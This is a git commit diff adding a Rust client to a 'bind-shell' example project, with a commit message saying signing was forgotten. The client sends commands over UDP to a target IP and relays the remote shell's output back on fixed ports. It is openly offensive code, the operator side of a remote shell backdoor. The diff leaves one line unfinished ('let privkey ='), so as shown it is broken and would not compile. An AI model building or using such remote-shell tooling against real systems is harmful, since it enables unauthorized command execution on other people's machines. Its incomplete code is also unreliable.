feat: added a client, but forgot to add signing

examples/bind-shell/client/Cargo.toml

@@ -6,3 +6,5 @@ edition = "2021"
 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
 
 [dependencies]
+anyhow = "1.0.70"
+ed25519-dalek = "1.0.1"

examples/bind-shell/client/src/main.rs

@@ -1,3 +1,58 @@
-fn main() {
-    println!("Hello, world!");
+use std::{io::prelude::*, net::UdpSocket, thread};
+
+use anyhow::anyhow;
+
+const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey");
+
+fn main() -> anyhow::Result<()> {
+    let privkey = 
+
+    let mut stdout = std::io::stdout();
+    let mut stderr = std::io::stderr();
+    let stdin = std::io::stdin();
+
+    let mut args = std::env::args();
+    args.next();
+    let target = args.next().ok_or(anyhow!("Please specify a target IP"))?;
+
+    let remote_stdin = UdpSocket::bind("0.0.0.0:0")?;
+    let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?;
+    let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?;
+
+    let out_thread = thread::spawn(move || {
+        let mut buffer = [0u8; 1024];
+
+        loop {
+            let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; };
+            let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; };
+        }
+    });
+
+    let err_thread = thread::spawn(move || {
+        let mut buffer = [0u8; 1024];
+
+        loop {
+            let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; };
+            let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; };
+        }
+    });
+
+    loop {
+        let mut cmd = String::new();
+        let Ok(_) = stdin.read_line(&mut cmd) else { continue; };
+        let cmd = cmd.trim();
+
+        if cmd == "exit" {
+            break;
+        }
+
+        let Ok(_) = remote_stdin.send_to(cmd.as_bytes(), &target) else {
+            continue;
+        };
+    }
+
+    drop(out_thread);
+    drop(err_thread);
+
+    Ok(())
 }